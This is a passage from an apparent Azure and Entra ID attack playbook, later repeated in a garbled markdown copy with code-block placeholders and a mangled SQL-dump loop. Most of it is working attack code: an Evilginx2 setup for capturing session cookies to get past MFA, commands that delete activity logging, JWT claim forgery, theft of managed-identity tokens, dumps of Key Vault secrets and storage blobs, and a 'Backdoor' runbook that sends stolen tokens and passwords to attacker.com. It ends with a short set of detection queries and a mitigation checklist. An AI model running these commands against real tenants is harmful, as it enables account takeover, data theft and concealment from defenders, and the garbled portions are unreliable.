roadrecon auth --prt-cookie <prt> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"

10.2 AiTM (Adversary-in-the-Middle) Phishing

# Evilginx2 setup
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
make

# Configure O365 phishlet
./evilginx -p phishlets/o365.yaml

# Start phishing server
config domain company.com
config ip <your-ip>
phishlets hostname o365 login.company.com
phishlets enable o365

# Capture session cookies post-MFA
# Replay cookies to bypass MFA

10.3 Log Evasion

Disable Azure Activity Logs (if possible)

# Requires high privileges
# Delete diagnostic settings
az monitor diagnostic-settings delete --name "ActivityLogs" --resource <resource-id>

Minimize Logging Footprint

# Use service principals instead of user accounts
# Avoid Graph API calls that trigger alerts
# Use legitimate-looking user agents
# Throttle requests to avoid rate-based detection
# Operate during business hours

10.4 Token Manipulation

Modify Token Claims (if signing key compromised)

import jwt

# Decode token
token = "eyJ0eXA..."
decoded = jwt.decode(token, options={"verify_signature": False})

# Modify claims
decoded['roles'] = ['Global Administrator']
decoded['exp'] = 9999999999  # Extend expiration

# Re-sign with compromised key
new_token = jwt.encode(decoded, signing_key, algorithm='RS256')

Token Lifetime Extension

# Use refresh token to obtain new access tokens
# Refresh tokens valid for 90 days by default
# Can be extended with Conditional Access policies

# Get new access token from refresh token
$body = @{
    client_id = "<app-id>"
    scope = "https://graph.microsoft.com/.default"
    refresh_token = "<refresh-token>"
    grant_type = "refresh_token"
}

$response = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" -Body $body
$new_access_token = $response.access_token

11. Service-Specific Playbooks

11.1 Entra ID (Azure AD)

Full Enumeration

# Connect
Connect-AzAccount

# Users
Get-AzADUser | Export-Csv users.csv
Get-AzADUser -Filter "accountEnabled eq true" | Select UserPrincipalName, DisplayName

# Groups
Get-AzADGroup | Export-Csv groups.csv
Get-AzADGroupMember -GroupDisplayName "Global Administrators"

# Service Principals
Get-AzADServicePrincipal | Export-Csv service_principals.csv

# Applications
Get-AzADApplication | Export-Csv applications.csv

# Roles
Get-AzRoleDefinition | Export-Csv roles.csv
Get-AzRoleAssignment | Export-Csv role_assignments.csv

# Devices
Get-AzureADDevice | Export-Csv devices.csv

# Conditional Access
Get-AzureADMSConditionalAccessPolicy | Export-Csv conditional_access.csv

Privilege Escalation Paths

# Find users with role assignment permissions
Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -like "*Administrator*"}

# Find service principals with high privileges
Get-AzADServicePrincipal | ForEach-Object {
    $sp = $_
    $roles = Get-AzRoleAssignment -ObjectId $sp.Id
    if ($roles) {
        [PSCustomObject]@{
            DisplayName = $sp.DisplayName
            AppId = $sp.AppId
            Roles = ($roles.RoleDefinitionName -join ", ")
        }
    }
}

# Find applications without role assignment requirement
Get-AzADApplication | Where-Object {$_.AppRoleAssignmentRequired -eq $false}

11.2 Storage Accounts

Enumeration

# List all storage accounts
az storage account list -o table

# For each account
for account in $(az storage account list --query "[].name" -o tsv); do
  echo "=== $account ==="
  
  # Get keys
  az storage account keys list --account-name "$account" -o table
  
  # List containers
  key=$(az storage account keys list --account-name "$account" --query "[0].value" -o tsv)
  az storage container list --account-name "$account" --account-key "$key" -o table
  
  # Check public access
  az storage container show-permission --account-name "$account" --account-key "$key" --name "container-name"
done

Exploitation

# Anonymous access test
curl "https://accountname.blob.core.windows.net/containername?restype=container&comp=list"

# SAS token abuse
# If SAS token found, test permissions
curl "https://accountname.blob.core.windows.net/containername?restype=container&comp=list&<sas-token>"

# Download all blobs
az storage blob download-batch --account-name "accountname" --account-key "key" --source "containername" --destination "./exfil/"

11.3 Virtual Machines

Enumeration

# List VMs
az vm list -o table

# Get VM details
az vm show --name "VM-Web01" --resource-group "RG-Production"

# List extensions
az vm extension list --vm-name "VM-Web01" --resource-group "RG-Production" -o table

# Check managed identity
az vm identity show --name "VM-Web01" --resource-group "RG-Production"

Command Execution

# Run command on VM
az vm run-command invoke \
  --name "VM-Web01" \
  --resource-group "RG-Production" \
  --command-id RunShellScript \
  --scripts "whoami; id; cat /etc/passwd"

# PowerShell on Windows VM
az vm run-command invoke \
  --name "VM-Win01" \
  --resource-group "RG-Production" \
  --command-id RunPowerShellScript \
  --scripts "whoami; Get-Process; Get-LocalUser"

Managed Identity Token Theft

# From within VM
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Use token externally
TOKEN="<stolen-token>"
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

11.4 Azure Functions

Enumeration

# List Function Apps
az functionapp list -o table

# Get function keys
az functionapp keys list --name "company-functions" --resource-group "RG-Production"

# List functions
az functionapp function list --name "company-functions" --resource-group "RG-Production" -o table

# Get function key
az functionapp function keys list --name "HttpTrigger1" --function-app-name "company-functions" --resource-group "RG-Production"

Exploitation

# Invoke function with key
curl "https://company-functions.azurewebsites.net/api/HttpTrigger1?code=<function-key>"

# Check for managed identity
az functionapp identity show --name "company-functions" --resource-group "RG-Production"

# If managed identity exists, inject code to steal token
# Modify function code (requires Contributor access)

11.5 Key Vault

Enumeration

# List Key Vaults
az keyvault list -o table

# List secrets
az keyvault secret list --vault-name "company-vault" -o table

# List keys
az keyvault key list --vault-name "company-vault" -o table

# List certificates
az keyvault certificate list --vault-name "company-vault" -o table

# Check access policies
az keyvault show --name "company-vault" --query properties.accessPolicies

Exploitation

# Get secret value
az keyvault secret show --vault-name "company-vault" --name "AdminPassword" --query value -o tsv

# Backup key
az keyvault key backup --vault-name "company-vault" --name "EncryptionKey" --file key.bak

# Download certificate
az keyvault certificate download --vault-name "company-vault" --name "SSLCert" --file cert.pem

# Modify access policy (if you have permissions)
az keyvault set-policy --name "company-vault" --upn attacker@company.com --secret-permissions get list

11.6 SQL Databases

Enumeration

# List SQL servers
az sql server list -o table

# List databases
az sql db list --server "company-sql" --resource-group "RG-Production" -o table

# List firewall rules
az sql server firewall-rule list --server "company-sql" --resource-group "RG-Production" -o table

# Get connection string
az sql db show-connection-string --server "company-sql" --name "ProductionDB" --client sqlcmd

Exploitation

# Add firewall rule (if you have permissions)
az sql server firewall-rule create --server "company-sql" --resource-group "RG-Production" --name "AttackerIP" --start-ip-address "1.2.3.4" --end-ip-address "1.2.3.4"

# Connect with sqlcmd
sqlcmd -S company-sql.database.windows.net -d ProductionDB -U admin -P password

# Enumerate tables
SELECT * FROM INFORMATION_SCHEMA.TABLES;

# Dump data
SELECT * FROM Users;

11.7 Automation Accounts

Enumeration

# List Automation Accounts
Get-AzAutomationAccount

# List runbooks
Get-AzAutomationRunbook -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"

# List credentials
Get-AzAutomationCredential -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"

# List variables
Get-AzAutomationVariable -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"

# List connections
Get-AzAutomationConnection -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"

Exploitation

# Create malicious runbook
$runbook = @'
# Steal managed identity token
$response = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Headers @{Metadata="true"} -UseBasicParsing
$token = ($response.Content | ConvertFrom-Json).access_token

# Exfiltrate
Invoke-WebRequest -Uri "https://attacker.com/token?t=$token"

# Steal credentials
$cred = Get-AutomationPSCredential -Name 'StorageAccountCred'
$username = $cred.UserName
$password = $cred.GetNetworkCredential().Password
Invoke-WebRequest -Uri "https://attacker.com/cred?u=$username&p=$password"
'@

# Deploy runbook
New-AzAutomationRunbook -Name "Backdoor" -Type PowerShell -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
Import-AzAutomationRunbook -Path .\malicious.ps1 -Name "Backdoor" -Type PowerShell -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production" -Force
Publish-AzAutomationRunbook -Name "Backdoor" -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
Start-AzAutomationRunbook -Name "Backdoor" -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"

12. Quick Reference

12.1 Common Commands

Authentication

# Azure CLI
az login
az login -u user@company.com -p password
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>
az login --identity  # From VM with managed identity

# PowerShell
Connect-AzAccount
Connect-AzAccount -Credential $creds
Connect-AzAccount -AccessToken $token -AccountId user@company.com

Enumeration

# Users
az ad user list
Get-AzADUser

# Groups
az ad group list
Get-AzADGroup

# Service Principals
az ad sp list
Get-AzADServicePrincipal

# Resources
az resource list
Get-AzResource

# Role Assignments
az role assignment list
Get-AzRoleAssignment

Token Operations

# Get access token
az account get-access-token
az account get-access-token --resource-type ms-graph

# PowerShell
(Get-AzAccessToken).Token
(Get-AzAccessToken -ResourceTypeName MSGraph).Token

12.2 IMDS Endpoints

# Instance metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Managed identity token - Azure Resource Manager
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# Managed identity token - Microsoft Graph
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/

# Managed identity token - Key Vault
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/

# Required header
Metadata: true

12.3 Microsoft Graph API Endpoints

# Users
GET https://graph.microsoft.com/v1.0/users

# Groups
GET https://graph.microsoft.com/v1.0/groups

# Service Principals
GET https://graph.microsoft.com/v1.0/servicePrincipals

# Applications
GET https://graph.microsoft.com/v1.0/applications

# Directory Roles
GET https://graph.microsoft.com/v1.0/directoryRoles

# Email
GET https://graph.microsoft.com/v1.0/users/{user}/messages

# OneDrive
GET https://graph.microsoft.com/v1.0/users/{user}/drive/root/children

# Authorization header
Authorization: Bearer <access-token>

12.4 High-Value Targets

Credentials

# Azure CLI tokens
~/.azure/accessTokens.json
~/.azure/azureProfile.json

# Environment variables
AZURE_CLIENT_ID
AZURE_CLIENT_SECRET
AZURE_TENANT_ID
AZURE_SUBSCRIPTION_ID

# Connection strings
DefaultEndpointsProtocol=https;AccountName=...;AccountKey=...
Server=tcp:...database.windows.net;Database=...;User ID=...;Password=...

# Configuration files
appsettings.json
web.config
.env
docker-compose.yml

High-Privilege Roles

Entra ID:
- Global Administrator
- Privileged Role Administrator
- Privileged Authentication Administrator
- Application Administrator
- Hybrid Identity Administrator

Azure RBAC:
- Owner
- Contributor
- User Access Administrator
- Key Vault Contributor (with vault write permission)

12.5 Detection Indicators

Suspicious Activities

// Azure Activity Log - Suspicious runbook activity
AzureActivity
| where OperationNameValue in (
    "Microsoft.Automation/automationAccounts/jobs/write",
    "Microsoft.Automation/automationAccounts/runbooks/publish/action"
)

// Unusual Graph API access
SigninLogs
| where AppDisplayName == "Microsoft Graph"
| summarize count() by UserPrincipalName, IPAddress, Location

// Service principal credential additions
AuditLogs
| where OperationName == "Add service principal credentials"

// Role assignment changes
AzureActivity
| where OperationNameValue == "Microsoft.Authorization/roleAssignments/write"

// Key Vault access policy modifications
AzureActivity
| where OperationNameValue == "Microsoft.KeyVault/vaults/accessPolicies/write"

12.6 Mitigation Checklist


Appendix: Recent CVEs (2026)

CVE Component Type CVSS Status
CVE-2026-24302 Azure Arc Agent Local PrivEsc 8.6 Patched
CVE-2026-21532 Azure Functions Info Disclosure High Active
CVE-2026-21227 Logic Apps Path Traversal PrivEsc Critical Active
CVE-2025-55241 Entra ID User Impersonation Critical Legacy token issue

Document Version: 1.0
Last Updated: February 11, 2026
Maintained By: Security Research Community
License: Vendor-Neutral, Educational Use
\t' read server rg; do
echo "=== Server: $server ==="

List databases

az sql db list --server "server"resourcegroup"rg" --query "[].name" -o tsv | while read db; do
echo "Database: $db"

# Get connection string (requires admin access)
connstr=(azsqldbshowconnectionstringserver"server" --name "$db" --client sqlcmd -o tsv)

# Dump database (if credentials available)
sqlcmd -S "server.database.windows.net"d"db" -U "admin" -P "password" -Q "SELECT * FROM INFORMATION_SCHEMA.TABLES" -o "./exfil/sql/serverdb-tables.txt"
done
done


---

## 10. Phase 8: Defense Evasion

### 10.1 Conditional Access Bypass

#### Legacy Authentication

{{CODE_BLOCK_66}}

#### Token Replay

{{CODE_BLOCK_67}}

#### Pass-the-PRT

{{CODE_BLOCK_68}}

### 10.2 AiTM (Adversary-in-the-Middle) Phishing

{{CODE_BLOCK_69}}

### 10.3 Log Evasion

#### Disable Azure Activity Logs (if possible)

{{CODE_BLOCK_70}}

#### Minimize Logging Footprint

{{CODE_BLOCK_71}}

### 10.4 Token Manipulation

#### Modify Token Claims (if signing key compromised)

{{CODE_BLOCK_72}}

#### Token Lifetime Extension

{{CODE_BLOCK_73}}

---

## 11. Service-Specific Playbooks

### 11.1 Entra ID (Azure AD)

#### Full Enumeration

{{CODE_BLOCK_74}}

#### Privilege Escalation Paths

{{CODE_BLOCK_75}}

### 11.2 Storage Accounts

#### Enumeration

{{CODE_BLOCK_76}}

#### Exploitation

{{CODE_BLOCK_77}}

### 11.3 Virtual Machines

#### Enumeration

{{CODE_BLOCK_78}}

#### Command Execution

{{CODE_BLOCK_79}}

#### Managed Identity Token Theft

{{CODE_BLOCK_80}}

### 11.4 Azure Functions

#### Enumeration

{{CODE_BLOCK_81}}

#### Exploitation

{{CODE_BLOCK_82}}

### 11.5 Key Vault

#### Enumeration

{{CODE_BLOCK_83}}

#### Exploitation

{{CODE_BLOCK_84}}

### 11.6 SQL Databases

#### Enumeration

{{CODE_BLOCK_85}}

#### Exploitation

{{CODE_BLOCK_86}}

### 11.7 Automation Accounts

#### Enumeration

{{CODE_BLOCK_87}}

#### Exploitation

{{CODE_BLOCK_88}}

---

## 12. Quick Reference

### 12.1 Common Commands

#### Authentication

{{CODE_BLOCK_89}}

#### Enumeration

{{CODE_BLOCK_90}}

#### Token Operations

{{CODE_BLOCK_91}}

### 12.2 IMDS Endpoints

{{CODE_BLOCK_92}}

### 12.3 Microsoft Graph API Endpoints

{{CODE_BLOCK_93}}

### 12.4 High-Value Targets

#### Credentials

{{CODE_BLOCK_94}}

#### High-Privilege Roles

{{CODE_BLOCK_95}}

### 12.5 Detection Indicators

#### Suspicious Activities

{{CODE_BLOCK_96}}

### 12.6 Mitigation Checklist

- [ ] Enable Conditional Access for all users
- [ ] Require phishing-resistant MFA (FIDO2)
- [ ] Block legacy authentication protocols
- [ ] Enable Continuous Access Evaluation (CAE)
- [ ] Implement Privileged Identity Management (PIM)
- [ ] Audit service principal permissions regularly
- [ ] Enable Microsoft Defender for Cloud
- [ ] Monitor Graph Activity Logs
- [ ] Implement least privilege RBAC
- [ ] Enable Key Vault soft-delete and purge protection
- [ ] Restrict IMDS access where possible
- [ ] Audit Automation Account permissions
- [ ] Review application permissions quarterly
- [ ] Enable Azure AD Identity Protection
- [ ] Implement Conditional Access policies for service principals

---

## Appendix: Recent CVEs (2026)

| CVE | Component | Type | CVSS | Status |
|-----|-----------|------|------|--------|
| CVE-2026-24302 | Azure Arc Agent | Local PrivEsc | 8.6 | Patched |
| CVE-2026-21532 | Azure Functions | Info Disclosure | High | Active |
| CVE-2026-21227 | Logic Apps | Path Traversal PrivEsc | Critical | Active |
| CVE-2025-55241 | Entra ID | User Impersonation | Critical | Legacy token issue |

---

**Document Version**: 1.0  
**Last Updated**: February 11, 2026  
**Maintained By**: Security Research Community  
**License**: Vendor-Neutral, Educational Use